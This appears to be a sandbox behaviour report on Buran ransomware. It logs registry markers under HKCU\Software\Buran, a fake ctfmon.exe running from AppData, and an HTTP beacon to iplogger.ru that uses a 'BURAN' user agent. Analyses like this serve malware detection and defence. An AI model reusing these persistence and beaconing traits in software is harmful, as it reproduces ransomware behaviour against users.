Read Value HKEY_CURRENT_USER\Software\Buran\Service value_name = Private, data = ValSjeCt7AMvgThk8Lyh1MCGt0G/mlejfnpJi20g/FbYLXsKVeUh3oJlvT1reyVDuOGBCDBZN+HFZTd7Uz1tvfK8lsJL3XbGhXGbYv83V/5yM6dRVwiRIMSIHQDlPctUIjAPK6nLuTIwMw2FbP4irzclvs8qxmmYn6oe+umKYjZe8bNdsDkZBqJ4RYPWOjGD8x09t1TjSYwDSbJa2OR55pyKdJTU98MjR8FTFzZbzA8b25zZJKPMcGI4idQ7I0EJEEK5bzXArU/mHtWw9E73PnxSLaMZWchvOa60F8t7VpAfWcWnXj7MYqzMS1kHqkFf6L8iOYyAYvJMTnU0bpLRSvubELMz8X5Sb1qA3r1fUH58h8JfKpbDpUGWxWaCZJgyqCHXrvZXkCJzYQaNuQL+azdU7dDXP+A5dk0wCLAd5nVy62oySXfNTbnhi/BPDc37URQkyTBEkI8jlVgcsr+WEhP0Lo3B+O/ZckRVE/QkVEsdQkInHSdw8CHi6SX0HsmT1RkE35mdpYXq+3mXZK4k7mosDzpsdfpJ9RqGWf8Kza96HkEzMFsPG2SGe5Q2keDznHD/0fF4dr/ATfdESBlp1sQNThCuI4LfhH/zjI4Uy3dXQdoOi3R0PD2VCawxTPCzAZQAuNdVdPeM0rj+0W2tDb0ymeE32M3LvyDnYzz7qmSqwfQZvJ0n5fNYWk4cume2yxn1iyEvziiv3xLqGRHN1Ed6gVQ8c3+rHemX+zK1TJjsPQlkehO7nACJVyIlEJk2/cF7gERd6UwGLPE4DE4joRj/y2gp64WCCtDeUiIbjGCGsLo2Iz/dX2c/a8/yRSlmTC1d6sS+nl/l26EqLjzb33LL0z1KN8HaSpYhjq1NXr4RXO9NClq6LuBnGPowzYPgAlMxSKYw8n/dSGsZoxhTqARzueCav4VnRKnjmVqFWdmqh9x/fli0HxPSE3/txcy6XxKngO2oIi1rpXgiIdq3egTiXhSc7Cp5n54P5E+6NXba78sYosTd2Qwo5f78XMv7uR+okTAtlKUTOdU0eiKaFvqRUbpjpdN1m2eX5UQhJWuMFsTt8I591TfeVu2HRSrF/fXQ4/v78QrXJX+0ehOLGl3/pvkPLZDtoXJGWsWxfgEMtjgfWEUOaSlq4ETN2h2BOmn5jmzt1CXJY6b/WzVstgmmjS26wU7rh3xoXHspT6OMBtNKPDT2Uz8VKbTE+wIIMJepD0c+dJYCLKiwC3HM5Cr6WjQV/Zy33Oq4ESSrK0xjsk0VccUzyJ4j4GqueS569xa/MZJwLLPgG04RVojeYdeRD2oC63D9LCRSWicGjHSnbKL3SjgAtUyw+XtJV5y7WT5Ykfh1oz1o+BMNua+30UFwWqQpXx5ClVF2cCKd+CiT3l1+BjEwnSeRy15+R+A41LQFOR2t8ruYYu3DYfzEQVsSq99DRaZDtPd7qdiMzGXFCAXEwPHXoUfXT3XqJXJH2PoYfYdyByoJFuxMrQ+a7gpmbK9R8jJuIiU9lLZi8dVdrML5iFk8PkNb2NXR4LyeFlRxhGekm4mrQIjTTU4Fmwt6ifiryoYUcOsb20Bl6vOPAHUYNyAM7DpdGqcwyQT2uPjbGt71m5C3mn7cMC8fUm4SjWXeFAT5wgfeoZcnLwZBmEF8UkwcrCR8MnRXojshimKqmZzlQjvPHV3iEg2Rzj1x+D4u1pR99Wu7q0cmeCFr2FovCQZgMYxJ/onFVTZPy8e2KQ==, type = REG_SZ True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Knock, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 3
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 3
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 285
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 3
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 2
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 16
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 5
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 2
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 3
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 2
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 8
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 2
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 4
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 2
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 7
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 3
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 5
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 26
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 5
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 5
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 4
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 529
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 3
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 282
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 1111
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 20
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 102
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 192
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 160
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 193
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 51
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 249
Fn
Read Value HKEY_CURRENT_USER\Software\Buran value_name = Stop, type = REG_NONE False 629
Fn
Write Value HKEY_CURRENT_USER\Software\Buran value_name = Knock, data = 666, size = 4, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Module (32)
»
Operation Module Additional Information Success Count Logfile
Load C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.ENU base_address = 0x0 False 1
Fn
Load C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.EN base_address = 0x0 False 1
Fn
Get Handle c:\users\fd1hvy\appdata\roaming\microsoft\windows\ctfmon.exe base_address = 0x400000 True 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x74d50000 True 1
Fn
Get Handle c:\windows\syswow64\oleaut32.dll base_address = 0x77840000 True 1
Fn
Get Filename c:\users\fd1hvy\appdata\roaming\microsoft\windows\ctfmon.exe process_name = c:\users\fd1hvy\appdata\roaming\microsoft\windows\ctfmon.exe, file_name_orig = C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.exe, size = 261 True 1
Fn
Get Filename - process_name = c:\users\fd1hvy\appdata\roaming\microsoft\windows\ctfmon.exe, file_name_orig = C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.exe, size = 261 True 1
Fn
Get Filename C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.EN process_name = c:\users\fd1hvy\appdata\roaming\microsoft\windows\ctfmon.exe, file_name_orig = C:\Users\FD1HVy\AppData\Roaming\Microsoft\Windows\ctfmon.exe, size = 261 True 2
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetDiskFreeSpaceExA, address_out = 0x74dbee90 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VariantChangeTypeEx, address_out = 0x7785a610 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarNeg, address_out = 0x778a52c0 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarNot, address_out = 0x778a6560 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarAdd, address_out = 0x7787d610 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarSub, address_out = 0x7787e3e0 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarMul, address_out = 0x7787db10 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarDiv, address_out = 0x778a5800 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarIdiv, address_out = 0x778a61a0 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarMod, address_out = 0x778a6400 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarAnd, address_out = 0x77873200 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarOr, address_out = 0x778a6610 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarXor, address_out = 0x778a67b0 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarCmp, address_out = 0x778660b0 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarI4FromStr, address_out = 0x77866ec0 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarR4FromStr, address_out = 0x77873010 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarR8FromStr, address_out = 0x77873630 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarDateFromStr, address_out = 0x77868b90 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarCyFromStr, address_out = 0x77852d90 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarBoolFromStr, address_out = 0x778648f0 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarBstrFromCy, address_out = 0x77867f50 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarBstrFromDate, address_out = 0x778689c0 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = VarBstrFromBool, address_out = 0x778648a0 True 1
Fn
Keyboard (1)
»
Operation Additional Information Success Count Logfile
Get Info type = 0, result_out = 4 True 1
Fn
System (3959)
»
Operation Additional Information Success Count Logfile
Sleep duration = 100 milliseconds (0.100 seconds) True 5
Fn
Sleep duration = 10 milliseconds (0.010 seconds) True 3942
Fn
Get Time type = Performance Ctr, time = 6421704314 True 1
Fn
Get Time type = Performance Ctr, time = 6479655548 True 1
Fn
Get Time type = Performance Ctr, time = 6479670719 True 1
Fn
Get Time type = Performance Ctr, time = 6479680213 True 1
Fn
Get Time type = Performance Ctr, time = 6479689470 True 1
Fn
Get Time type = Performance Ctr, time = 6479698622 True 1
Fn
Get Time type = Performance Ctr, time = 6480512872 True 1
Fn
Get Time type = Performance Ctr, time = 6480530859 True 1
Fn
Get Time type = Performance Ctr, time = 6480540778 True 1
Fn
Get Time type = Performance Ctr, time = 6480549813 True 1
Fn
Get Time type = Performance Ctr, time = 6480558730 True 1
Fn
Get Info type = Operating System True 1
Fn
Environment (5)
»
Operation Additional Information Success Count Logfile
Get Environment String name = TEMP, result_out = C:\Users\FD1HVy\AppData\Local\Temp True 2
Fn
Get Environment String name = ALLUSERSPROFILE, result_out = C:\ProgramData True 1
Fn
Get Environment String name = APPDATA, result_out = C:\Users\FD1HVy\AppData\Roaming True 1
Fn
Get Environment String name = WINDIR, result_out = C:\WINDOWS True 1
Fn
Network Behavior
HTTP Sessions (1)
»
Information Value
Total Data Sent 135 bytes
Total Data Received 606 bytes
Contacted Host Count 1
Contacted Hosts 88.99.66.31
HTTP Session #1
»
Information Value
User Agent BURAN
Server Name iplogger.ru
Server Port 80
Username -
Password -
Data Sent 135 bytes
Data Received 606 bytes
Operation Additional Information Success Count Logfile
Open Session access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = iplogger.ru, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = http://iplogger.info/1jqu87.html, accept_types = 0, flags = INTERNET_FLAG_IDN_DIRECT, INTERNET_FLAG_IDN_PROXY True 1
Fn
Add HTTP Request Headers headers = Host: iplogger.ru User-Agent: BURAN Referer: E5A57CBB-C8F5-8ECD-FBE7-0F42DE6C2FE2 True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = iplogger.ru/http://iplogger.info/1jqu87.html True 1
Fn
Read Response size = 4097, size_out = 4097 True 1
Fn
Data
Read Response size = 4097, size_out = 4089 True 1
Fn
Data
Read Response size = 4097, size_out = 4097 True 1
Fn
Data
Read Response size = 4097, size_out = 3571 True 1
Fn
Data
Read Response size = 4097, size_out = 4089 True 1
Fn
Data
Read Response size = 4097, size_out = 4097 True 1
Fn
Data
Read Response size = 4097, size_out = 4089 True 1
Fn
Data
Read Response size = 4097, size_out = 4093 True 1
Fn
Data
Read Response size = 4097, size_out = 4089 True 2
Fn
Data
Read Response size = 4097, size_out = 4097 True 1
Fn
Data
Read Response size = 4097, size_out = 4085 True 1
Fn
Data
Read Response size = 4097, size_out = 4097 True 1
Fn
Data
Read Response size = 4097, size_out = 4089 True 1
Fn
Data
Read Response size = 4097, size_out = 4097 True 1
Fn
Data
Read Response size = 4097, size_out = 4089 True 1
Fn
Data
Read Response size = 4097, size_out = 875 True 1
Fn
Data
Read Response size = 4097, size_out = 0 True 1
Fn
Close Session - True 1
Fn
Function Logfile
Download-Icon
Exit-Icon

This feature requires an online-connection to the VMRay backend.

An offline version with limited functionality is also provided.
The offline version is supported only in Mozilla Firefoxwith deactivated setting "security.fileuri.strict_origin_policy". 


    

   

   

    Before
   

   

    

     

      
       This feature requires an online-connection to the VMRay backend.
      
      

      

      An offline version with limited functionality is also provided.
      

      The offline version is supported only in Mozilla Firefoxwith deactivated setting "security.fileuri.strict_origin_policy".
     

     

    

   

   

    After
   

   

    

     

      
       This feature requires an online-connection to the VMRay backend.
      
      

      

      An offline version with limited functionality is also provided.
      

      The offline version is supported only in Mozilla Firefoxwith deactivated setting "security.fileuri.strict_origin_policy".
     

     

    

   

   

    

     
      

       
       
       
       
      

     
     
     
    

   

  

  

   

    
    

     Screenshot
    

    

     Expand-Icon
    

    

     Exit-Icon
    

   

   

    

     icon_left
    

    

     icon_left
    

   

   

   

   

    image